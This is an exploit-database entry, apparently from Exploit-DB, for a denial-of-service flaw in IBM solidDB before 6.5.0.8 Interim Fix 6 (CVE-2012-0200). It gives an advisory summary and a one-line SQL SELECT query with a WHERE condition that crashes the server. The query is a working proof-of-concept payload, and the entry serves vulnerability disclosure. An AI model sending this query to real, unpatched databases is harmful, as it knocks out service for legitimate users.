IBM solidDB 6.5.0.8 - 'SELECT' Statement 'WHERE' Condition Denial of Service

Author: IBM
type: dos
platform: multiple
port: 0
date_added: 2012-02-09
date_updated: 2015-04-30
verified: 1
codes: CVE-2012-0200;OSVDB-79010
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/52111/info

IBM solidDB is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

IBM solidDB versions prior to 6.5.0.8 Interim Fix 6 are vulnerable.

SELECT * FROM a WHERE (b >0) AND (b IN (1,2))